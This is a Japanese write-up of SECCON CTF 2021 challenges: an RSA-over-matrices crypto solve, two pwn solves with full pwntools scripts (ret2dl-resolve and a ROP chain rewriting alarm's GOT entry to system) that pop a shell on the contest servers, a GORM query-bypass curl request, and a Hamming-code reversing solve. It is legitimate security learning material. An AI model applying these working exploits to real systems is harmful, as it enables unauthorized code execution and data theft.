SECCON CTF 2021 writeup

2021/12/11 14:00 (JST) ~ 2021/12/12 14:00 (JST)に開催されたSECCON CTF 2021のwriteupです。

0x62EEN7EAというソロチームで参加しました。

644pt獲得し、正の得点を獲得した506チームの内、48位でした。

Crypto

pppp (117pt / 70solved)

problem.sageとoutput.txtが与えられる。

from Crypto.Util.number import *
from flag import flag

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q

mid = len(flag) // 2

e = 65537

m1 = int.from_bytes(flag[:mid], byteorder='big')
m2 = int.from_bytes(flag[mid:], byteorder='big')

assert m1 < 2**256
assert m2 < 2**256

m = [[p, p, p, p],[0,m1,m1,m1],[0, 0,m2,m2],[0, 0, 0, 1]]

# add padding
for i in range(4):
    for j in range(4):
        m[i][j] *= getPrime(768)

m = matrix(Zmod(p*q), m)
print(m)

c = m^e

print("n =", n)
print("e =", e)
print("c =", list(c))

二つに分割した平文m_1, m_2と、512ビットの素数pからなる次の行列(以降、行列Mと表記)をe乗した行列cが与えられる。

\begin{align} M = \begin{bmatrix} p & p & p & p \\ 0 & m_1 & m_1 & m_1 \\ 0 & 0 & m_2 & m_2 \\ 0 & 0 & 0 & 1 \end{bmatrix} \\ \end{align}

\begin{align} c = M^{e} \end{align}

行列の各要素はe乗する前に、768ビットの素数がかけられる。そのため、実際に与えられる行列cは、次のように表せる。

\begin{align} M = \begin{bmatrix} ap & bp & cp & dp \\ 0 & em_1 & fm_1 & g m_1 \\ 0 & 0 & h m_2 & i m_2 \\ 0 & 0 & 0 & j \end{bmatrix} \end{align}

\begin{align} c = M^{e} = \begin{bmatrix} (ap)^{e} & bp\{(ap)^{e-1}+(ap)^{e-2}(em_1)+...\} & ... & ... \\ 0 & (e m_1)^{e} & f m_1\{(e m_1)^{e-1}+(e m_1)^{e-2}(h m_2)+...\} & ... \\ 0 & 0 & (h m_2)^{e} & im_2{(h m_2)^{e-1}+j(h m_2)^{e-2}} \\ 0 & 0 & 0 & j^{e} \end{bmatrix} \end{align}

a - jが768ビットの素数である。

はじめに、行列M行列式|M|を考える。行列Mは上三角行列であるため、行列式の値は対角成分の積で表せる。また、|M^{e}|=|M|^{e}より与えられたc行列式の値は、

\begin{align} |M| = \begin{vmatrix} ap & bp & cp & dp \\ 0 & e m_1 & f m_1 & g m_1 \\ 0 & 0 & h m_2 & i m_2 \\ 0 & 0 & 0 & j \end{vmatrix} = ap \cdot e m_1 \cdot h m_2 \cdot j \\ \end{align}

\begin{align} |c| = |M^{e}| =|M|^{e} = (ap \cdot em_1 \cdot hm_2 \cdot j)^{e} \end{align}

となる。よって、c行列式|c|nでgcdをとるとpが求まる。

次に行列cの対角成分に着目すると、x^{e} \mod nという形になっているため、RSAの復号と同じ方法で対角成分の値ap, e m_1, h m_2, jを求めることができる。

最後に求まったe m_1, h m_2, jから、m_1, m_2を求める方法を考える。行列の2行3列目の成分と3行4列目の成分は、次のように表せる。

\begin{align} c_{(2,3)} = f \cdot m_{1} \sum_{i=0}^{e-1} (e m_1)^{i}(h m_2)^{e-i-1} \\ \end{align}

\begin{align} c_{(3,4)} = i \cdot m_{2} \sum_{i=0}^{e-1} (h m_2)^{i}j^{e-i-1} \end{align}

シグマの部分は対角成分から求められるため、c_{(2,3)}, c_{(3,4)}からf m_1, i m_2を求めることができ、gcd(e m_1, f m_1)m_1が、gcd(h m_2, i m_2) m_2が求められる。

from Crypto.Util.number import long_to_bytes
import math

n = 139167515668183984855584233262421636549219808362436809125322963984953234794207403032462532211718407628015534917936237180092470832870352873174416729863982860547330562153111496168661222608038945799305565324740297535609102402946273092600303759078983973524662838350143815732516927299895302494977521033451618509313
e = 65537
c = [(92641859227150025014514674882433433169736939888930400782213731523244191029744271714915087397818608658221982921496921528927873080896272971564627162670330785041427348269531449548757383647994986600796703130771466176972483905051546758332111818555173685323233367295631863710855125823503925281765070200264928761744, 1077078501560459546238096407664459657660011596619515007448272718633593622581663318232822694070053575817000584000976732545349394411037957356817674297166036371321332907845398174111343765006738074197964396832305908342965034091516961317164203682771449331094865994143953470394418754170915147984703343671839620070, 19878161032897109459692857500488708331148676837923170075630073845924376353394086221031683671854185288619608305138965881628353471119235227157715699650190844508727073649527735233175347600167954253143204293274253676829607434380971492999430389536409563073620686264607716424139208756197843637115228155976163983619, 122958657434560838063916316490126514822437273152981380647634868499620566657448363565613345650206126542999322277498960954804580159527199119604554047697342524367459283765958189416627623253226055220105627822118413649499651442079969872322463271891353808314530249098525814619479135297014148780695960117897387220659), (0, 85635304452753185796593135650704585992713419302092444931829191186284566226617686976975731459756968679710078670232999566062343743901469759277582454092882685887985731708244015567469990157564460035983017331880588783841581502687752495254387549274422591338211161917565559735193456411356422539814020979699927207024, 26528377397409932803048052918715873209845190225305139460936852681030879561522825277119360099719008486268731610926098705442795761739644784858085976938906030639986454157616558457541083641717564142619063815917161350343604401278251069255966146207538326575595944701499010180658631016268689550402326369924649514049, 17173480018007185616783556851363148729840100207266610547324632027095687866456613104465211034834604995290825437734467654701021261504226847008483339028335703977866796341754911432666568936460974103742649586111260163432789617417125379644939110280618415377202845096157056174169392363954229816964869557167190373166), (0, 0, 81417110160690915414859599923077760437964436481940074249510026432592954854440295980578313776441414052192070135409849396229653279814546498083873720679422968334818254076803899882280264290639872486915551889441082468560654475422089052988909565455596584407805229280743723696618903551087160338683566908533474596220, 88524270641123978066493517684012199807956329430551155649688209766850898125045959831704501988313531767120589113923546449704920649814085765896894870692227804052901254644766662594723181025793077392532746071480212649880063471693730914835259139038459097504431147211622052068997412540488201406879310193174863792764), (0, 0, 0, 130146806238985078905344376697263038970354607413027156915068014483770022716717215156189413217688976902906182579031431264733207976605553885314360422441780388319618199732296392330859801016851191010568169307878720202422104375360360029207688301496478751250969744747470242179561459045172707909287093959859681318497)]

M = Matrix(Zmod(n), c)

p = math.gcd(M.det(), n)
q = n // p
assert p*q == n

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

x_m1 = pow(c[1][1], d, n)
x_m2 = pow(c[2][2], d, n)
j = pow(c[3][3], d, n)

y_m1, y_m2 = 0, 0
for i in range(e):
  y_m1 = (y_m1 + pow(x_m1, i, n) * pow(x_m2, e-i-1, n)) % n
  y_m2 = (y_m2 + pow(x_m2, i, n) * pow(j, e-i-1, n)) % n

m1 = math.gcd(
    int(c[1][2]) * pow(y_m1, -1, n) % n, x_m1
)

m2 = math.gcd(
    int(c[2][3]) * pow(y_m2, -1, n) % n, x_m2
)

print(long_to_bytes(m1) + long_to_bytes(m2))
$ sage solve.sage
b'SECCON{C4n_y0u_prove_why_decryptable?}'

Pwn

kasu bof (112pt / 78solved)

ret2dl-resolveを知っていますか?という問題

getsを行うだけのプログラムとソースコードが与えられる。

#include <stdio.h>

int main(void) {
  char buf[0x80];
  gets(buf);
  return 0;
}

ret2dl-resolveについてはももいろテクノロジーさんやこのスライドが詳しい。

上記の資料を参考に、systemを呼び出すexploitコードを作成した。

from pwn import *

elf = ELF("./chall")
plt_gets = elf.plt["gets"]
got_gets = elf.got["gets"]

addr_plt_start = 0x8049030
addr_rel_plt = 0x80482d8
addr_dyn_sym = 0x804820c
addr_dyn_str = 0x804825c
leave_ret = 0x80490e5
pop_ebp = 0x80491ae

pop_one = 0x08049242
pop_two = 0x08049212
pop_three = 0x08049211

base_stage = elf.bss() + 0x800
rel = base_stage + 0x20
sym = rel + 0x10
args = sym + 0x20
func_name = args + 0x24

reloc_offset = rel - addr_rel_plt
r_info = (((sym - addr_dyn_sym) // 0x10) << 8) | 7

st_name = func_name - addr_dyn_str
st_info = 0x12

p = remote("hiyoko.quals.seccon.jp",9001)

payload = b"A" * 136
# base stage
payload += p32(plt_gets)
payload += p32(pop_one)
payload += p32(base_stage)
# fake ELF32_Rel
payload += p32(plt_gets)
payload += p32(pop_one)
payload += p32(rel)
# fake ELF32_Sym
payload += p32(plt_gets)
payload += p32(pop_one)
payload += p32(sym)
# symbol name
payload += p32(plt_gets)
payload += p32(pop_one)
payload += p32(func_name)
# arguments
payload += p32(plt_gets)
payload += p32(pop_one)
payload += p32(args)
# stack pivot
payload += p32(pop_ebp)
payload += p32(base_stage)
payload += p32(leave_ret)
p.sendline(payload)

payload = b"AAAA"
payload += p32(addr_plt_start)
payload += p32(reloc_offset)
payload += b"AAAA"
payload += p32(args)
p.sendline(payload)

# ELF32_Rel
payload = p32(got_gets)
payload += p32(r_info)
p.sendline(payload)

# ELF32_Sym
payload = p32(st_name)
payload += p32(0)
payload += p32(0)
payload += p32(st_info)
p.sendline(payload)

# symbol name
payload = b"system"
p.sendline(payload)

# arguments
payload = b"/bin/sh\x00"
p.sendline(payload)

p.interactive()
$ python3 solve.py
[*] '/home/xxx/ctf/seccon_2021/kasu_bof/chall'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to hiyoko.quals.seccon.jp on port 9001: Done
[*] Switching to interactive mode
$ ls
chall
flag-4f8e964cf95b989f6def1afdfd0e91b7.txt
$ cat flag-4f8e964cf95b989f6def1afdfd0e91b7.txt
SECCON{jUst_4_s1mpL3_b0f_ch4ll3ng3}

Average calculator (129pt / 56solved)

与えられた数字の平均値を求めるプログラムとソースコード、libcが与えられる。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
    long long n, i;
    long long A[16];
    long long sum, average;

    alarm(60);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    printf("n: ");
    if (scanf("%lld", &n)!=1)
        exit(0);
    for (i=0; i<n; i++)
    {
        printf("A[%lld]: ", i);
        if (scanf("%lld", &A[i])!=1)
            exit(0);
        //  prevent integer overflow in summation
        if (A[i]<-123456789LL || 123456789LL<A[i])
        {
            printf("too large\n");
            exit(0);
        }
    }

    sum = 0;
    for (i=0; i<n; i++)
        sum += A[i];
    average = (sum+n/2)/n;
    printf("Average = %lld\n", average);
}

nやiの値をチェックしてないため範囲外参照でリターンアドレスを書き換えることができるが、-123456789から123456789までの値しか書き込むことができない。そのため、one gadgetに直接飛ばしたり、libcの関数を直接実行したりできない。

%lldという良さげなフォーマット文字列があるので、ROPでscanf("%lld", &address)を実行すると好きなアドレスの値を書き換えられる。

alarmのGOTを書き換えることでsystemを呼び出せるようにした。

from pwn import *

elf = ELF("./average")
libc = ELF("./libc.so.6")
plt_puts = elf.plt["puts"]
got_puts = elf.got["puts"]
plt_scanf = elf.plt["__isoc99_scanf"]
got_alarm = elf.got["alarm"]
plt_alarm = elf.plt["alarm"]
addr_main = elf.symbols["main"]

pop_rdi = 0x4013a3
pop_rsi_r15 = 0x4013a1
ret = 0x40101a
lit_lld = next(elf.search(b'%lld'))
addr_bss = elf.bss() + 64

def send_A(A):
    p.recvuntil(b": ")
    p.sendline(str(A).encode())

p = remote("average.quals.seccon.jp", 1234)

# round 1
p.recvuntil(b": ")
p.sendline(b"100")

payload = [0xf00] * 16
payload.append(21 + 4)
payload.append(0xf00)
payload.append(0xf00)
payload.append(20)

# puts(got_puts)
payload.append(pop_rdi)
payload.append(got_puts)
payload.append(plt_puts)
payload.append(addr_main)

for a in payload:
    send_A(a)

p.recvline()
libc_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = libc_puts - libc.symbols["puts"]

log.info(f"libc addr = 0x{libc.address:x}")

# round 2
p.recvuntil(b": ")
p.sendline(b"100")

payload = [0xf00] * 16
payload.append(21 + 6*2+4)
payload.append(0xf00)
payload.append(0xf00)
payload.append(20)

# scanf("%lld", &bss);
# bss <- "/bin/sh"
payload.append(pop_rdi)
payload.append(lit_lld)
payload.append(pop_rsi_r15)
payload.append(addr_bss)
payload.append(addr_bss)
payload.append(plt_scanf)

# scanf("%lld", &got_alarm);
# got_alarm <- libc.symbols["system"]
payload.append(pop_rdi)
payload.append(lit_lld)
payload.append(pop_rsi_r15)
payload.append(got_alarm)
payload.append(got_alarm)
payload.append(plt_scanf)

# alarm(&bss) -> system("/bin/sh")
payload.append(pop_rdi)
payload.append(addr_bss)
payload.append(ret)
payload.append(plt_alarm)

for a in payload:
    send_A(a)

binsh = 0x68732f6e69622f
p.sendline(str(binsh).encode())
p.sendline(str(libc.symbols['system']).encode())

p.interactive()
$ python3 solve.py
[*] '/home/xxx/ctf/seccon_2021/average/average'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/xxx/ctf/seccon_2021/average/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to average.quals.seccon.jp on port 1234: Done
[*] libc addr = 0x7f5f81d89000
[*] Switching to interactive mode
Average = 1934580
$ ls
average
average.sh
flag.txt
$ cat flag.txt
SECCON{M4k3_My_4bi1i7i3s_4v3r4g3_in_7h3_N3x7_Lif3_cpwWz9jpoCmKYBvf}

Web

Vulnerability (103pt / 94solved)

package main

import (
    "fmt"
    "log"
    "os"

    "github.com/gin-contrib/static"
    "github.com/gin-gonic/gin"
    "github.com/gin-gonic/gin/binding"
    "gorm.io/driver/sqlite"
    "gorm.io/gorm"
)

type Vulnerability struct {
    gorm.Model
    Name string
    Logo string
    URL  string
}

func main() {
    gin.SetMode(gin.ReleaseMode)

    flag := os.Getenv("FLAG")
    if flag == "" {
        flag = "SECCON{dummy_flag}"
    }

    db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{})
    if err != nil {
        log.Fatal("failed to connect database")
    }

    db.AutoMigrate(&Vulnerability{})
    db.Create(&Vulnerability{Name: "Heartbleed", Logo: "/images/heartbleed.png", URL: "https://heartbleed.com/"})
    db.Create(&Vulnerability{Name: "Badlock", Logo: "/images/badlock.png", URL: "http://badlock.org/"})
    db.Create(&Vulnerability{Name: "DROWN Attack", Logo: "/images/drown.png", URL: "https://drownattack.com/"})
    db.Create(&Vulnerability{Name: "CCS Injection", Logo: "/images/ccs.png", URL: "http://ccsinjection.lepidum.co.jp/"})
    db.Create(&Vulnerability{Name: "httpoxy", Logo: "/images/httpoxy.png", URL: "https://httpoxy.org/"})
    db.Create(&Vulnerability{Name: "Meltdown", Logo: "/images/meltdown.png", URL: "https://meltdownattack.com/"})
    db.Create(&Vulnerability{Name: "Spectre", Logo: "/images/spectre.png", URL: "https://meltdownattack.com/"})
    db.Create(&Vulnerability{Name: "Foreshadow", Logo: "/images/foreshadow.png", URL: "https://foreshadowattack.eu/"})
    db.Create(&Vulnerability{Name: "MDS", Logo: "/images/mds.png", URL: "https://mdsattacks.com/"})
    db.Create(&Vulnerability{Name: "ZombieLoad Attack", Logo: "/images/zombieload.png", URL: "https://zombieloadattack.com/"})
    db.Create(&Vulnerability{Name: "RAMBleed", Logo: "/images/rambleed.png", URL: "https://rambleed.com/"})
    db.Create(&Vulnerability{Name: "CacheOut", Logo: "/images/cacheout.png", URL: "https://cacheoutattack.com/"})
    db.Create(&Vulnerability{Name: "SGAxe", Logo: "/images/sgaxe.png", URL: "https://cacheoutattack.com/"})
    db.Create(&Vulnerability{Name: flag, Logo: "/images/" + flag + ".png", URL: "seccon://" + flag})

    r := gin.Default()

    // Return a list of vulnerability names
    // {"Vulnerabilities": ["Heartbleed", "Badlock", ...]}
    r.GET("/api/vulnerabilities", func(c *gin.Context) {
        var vulns []Vulnerability
        if err := db.Where("name != ?", flag).Find(&vulns).Error; err != nil {
            c.JSON(400, gin.H{"Error": "DB error"})
            return
        }
        var names []string
        for _, vuln := range vulns {
            names = append(names, vuln.Name)
        }
        c.JSON(200, gin.H{"Vulnerabilities": names})
    })

    // Return details of the vulnerability
    // {"Logo": "???.png", "URL": "https://..."}
    r.POST("/api/vulnerability", func(c *gin.Context) {
        // Validate the parameter
        var json map[string]interface{}
        if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 1"})
            return
        }
        if name, ok := json["Name"]; !ok || name == "" || name == nil {
            c.JSON(400, gin.H{"Error": "no \"Name\""})
            return
        }

        // Get details of the vulnerability
        var query Vulnerability
        if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 2"})
            return
        }
        fmt.Printf("[DEBUG]: %v\n", query)
        var vuln Vulnerability
        if err := db.Where(&query).First(&vuln).Error; err != nil {
            c.JSON(404, gin.H{"Error": "not found"})
            return
        }

        c.JSON(200, gin.H{
            "Logo": vuln.Logo,
            "URL":  vuln.URL,
        })
    })

    r.Use(static.Serve("/", static.LocalFile("static", false)))

    if err := r.Run(":8080"); err != nil {
        log.Fatal(err)
    }
}

/api/vulnerabilityにPOSTするとデータベースからVulnerabilityの情報を取得することができる。データベースの中にflagがあるので、何とかしてフラグを手に入れる。

//    Return details of the vulnerability
// {"Logo": "???.png", "URL": "https://..."}
r.POST("/api/vulnerability", func(c *gin.Context) {
    // Validate the parameter
    var json map[string]interface{}
    if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil {
        c.JSON(400, gin.H{"Error": "JSON error 1"})
        return
    }
    if name, ok := json["Name"]; !ok || name == "" || name == nil {
        c.JSON(400, gin.H{"Error": "no \"Name\""})
        return
    }

    // Get details of the vulnerability
    var query Vulnerability
    if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil {
        c.JSON(400, gin.H{"Error": "JSON error 2"})
        return
    }
    fmt.Printf("[DEBUG]: %v\n", query)
    var vuln Vulnerability
    if err := db.Where(&query).First(&vuln).Error; err != nil {
        c.JSON(404, gin.H{"Error": "not found"})
        return
    }

    c.JSON(200, gin.H{
        "Logo": vuln.Logo,
        "URL":  vuln.URL,
    })
})

最初に、与えたjson"Name"という名前のキーが存在し、値が空でないことを確認している。その後queryにbindし、Vulnerailityの検索を行う。

queryが{"Name": "Heartbleed"}の時、以下のようなSQLが実行される。

`SELECT * FROM `vulnerabilities` WHERE `vulnerabilities`.`name` = "Heartbleed" AND `vulnerabilities`.`deleted_at` IS NULL ORDER BY `vulnerabilities`.`id` LIMIT 1```

queryのNameを空にすることができれば、IDによる検索でフラグを手に入れられそうである。

{"Name":"hoge", "name":"", "ID":0}のように、"Name"に何か値を入れて"name"を空にすれば、Validationを突破でき、queryの"Name"を空にできる。

IDを順番に試していくと、14にしたときにフラグが表示された。

$ curl -X POST -H "Content-Type:application/json" -d '{"Name":"A", "name":"", "ID":14}' https://vulnerabilities.quals.seccon.jp/api/vulnerability
{"Logo":"/images/SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}.png","URL":"seccon://SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}"}

reversing

corrupted flag (130pt / 55solved)

flagを暗号化するプログラムcorruptと暗号化されたフラグflag.txt.encが与えられる。

暗号化処理をPythonで書き直すと次のようになる。

import os

def __corrupt_internal(base_idx: int, buf: list[int]):
    if (idx := os.urandom(1)[0]) < 7:
        buf[base_idx+idx] ^= 1

def corrupt(s: bytes):
    buf = [0] * len(s) * 0xe
    ptr = 0
    for b in s:
        j = 1
        while j != 9:
            buf[ptr] = (b >> (j-1)) & 1
            buf[ptr+1] = (b >> j) & 1
            buf[ptr+2] = (b >> (j+1)) & 1
            buf[ptr+3] = (buf[ptr] ^ buf[ptr+1] ^ buf[ptr+2]) & 1
            buf[ptr+4] = (b >> (j+2)) & 1
            buf[ptr+5] = (buf[ptr] ^ buf[ptr+1] ^ buf[ptr+4]) & 1
            buf[ptr+6] = (buf[ptr] ^ buf[ptr+2] ^ buf[ptr+4]) & 1
            __corrupt_internal(ptr, buf)
            j += 4
            ptr += 7

    __size = ((len(s) * 7) >> 2) + 1
    result = [0] * __size
    k = 0
    while k != len(s) * 0xe:
        ptr = k >> 3
        src = buf[k]
        result[ptr] = result[ptr] | (src << (k & 7))
        k += 1
    return bytes(result)

1byteの値が4bitの値2つに分割され、それぞれ7bitの値に変換される。

7bitの内、どれか1bitが反転している可能性があるが、4,6,7bit目の情報を使うと書き換わっている場所を特定できる。

以下の手順で復号した。

  1. flag.txt.encを7bit区切りのビット列に分割する
  2. __corrupt_internalで反転したビットを元に戻す
  3. ビット列から元のバイト列を復元する
import os
import copy

def __corrupt_internal(base_idx: int, buf: list[int]):
    if (idx := os.urandom(1)[0]) < 7:
        buf[base_idx+idx] ^= 1

def corrupt(s: bytes):
    buf = [0] * len(s) * 0xe
    ptr = 0
    for b in s:
        j = 1
        while j != 9:
            buf[ptr] = (b >> (j-1)) & 1
            buf[ptr+1] = (b >> j) & 1
            buf[ptr+2] = (b >> (j+1)) & 1
            buf[ptr+3] = (buf[ptr] ^ buf[ptr+1] ^ buf[ptr+2]) & 1
            buf[ptr+4] = (b >> (j+2)) & 1
            buf[ptr+5] = (buf[ptr] ^ buf[ptr+1] ^ buf[ptr+4]) & 1
            buf[ptr+6] = (buf[ptr] ^ buf[ptr+2] ^ buf[ptr+4]) & 1
            __corrupt_internal(ptr, buf)
            j += 4
            ptr += 7

    __size = ((len(s) * 7) >> 2) + 1
    result = [0] * __size
    k = 0
    while k != len(s) * 0xe:
        ptr = k >> 3
        src = buf[k]
        result[ptr] = result[ptr] | (src << (k & 7))
        k += 1
    return bytes(result)

def recover_bit(in_buf: list[int]) -> list[int]:
    buf = copy.deepcopy(in_buf)

    for i in range(0, len(buf), 7):
        a, b, c, d = buf[i], buf[i+1], buf[i+2], buf[i+4]
        x = (a ^ b ^ c) & 1
        y = (a ^ b ^ d) & 1
        z = (a ^ c ^ d) & 1
        if x == buf[i+3] and y == buf[i+5] and z == buf[i+6]:
            continue
        if x != buf[i+3] and y != buf[i+5] and z != buf[i+6]:
            buf[i] ^= 1
        elif x != buf[i+3] and y != buf[i+5] and z == buf[i+6]:
            buf[i+1] ^= 1
        elif x != buf[i+3] and y == buf[i+5] and z != buf[i+6]:
            buf[i+2] ^= 1
        elif x == buf[i+3] and y != buf[i+5] and z != buf[i+6]:
            buf[i+4] ^= 1
        elif x != buf[i+3]:
            buf[i+3] ^= 1
        elif y != buf[i+5]:
            buf[i+5] ^= 1
        elif z != buf[i+6]:
            buf[i+6] ^= 1
    return buf

def bytes2bits(data: bytes) -> list[int]:
    result = []
    tmp = []
    for b in data:
        for i in range(8):
            if (b & (1 << i)):
                tmp.append(1)
            else:
                tmp.append(0)
            if len(tmp) % 7 == 0:
                result.extend(tmp)
                tmp = []
    return result

def bits2bytes(bits: list[int]) -> bytes:
    result = []
    for i in range(0, len(bits), 14):
        x = (
            bits[i]
            | (bits[i+1] << 1)
            | (bits[i+2] << 2)
            | (bits[i+4] << 3)
            | (bits[i+7] << 4)
            | (bits[i+8] << 5)
            | (bits[i+9] << 6)
            | (bits[i+11] << 7)
        )
        result.append(x)
    return bytes(result)

enc_flag = open("./flag.txt.enc", "rb").read()
bits = bytes2bits(enc_flag)
bits = recover_bit(bits)

# test
assert bits2bytes(recover_bit(bytes2bits(corrupt(b"AAAAAAAA")))) == b"AAAAAAAA"

print(bits2bytes(bits))
$ python3 solve.py
b'SECCON{9e469af5f60e7f0c98854ebf0afd254c102154587a7491594900a8d186df4801}\n'

感想

去年と比べて多く問題を解くことができたので非常に嬉しいです。どの問題も楽しかったのですが、特にppppが解いていて楽しかったです。

ソロで参加するとsolve数が問題や簡単そうな問題ばかり取り組んでしまい、solve数が少なめな問題になかなか挑戦できないので、次回参加する際にはチームで参加したいですね。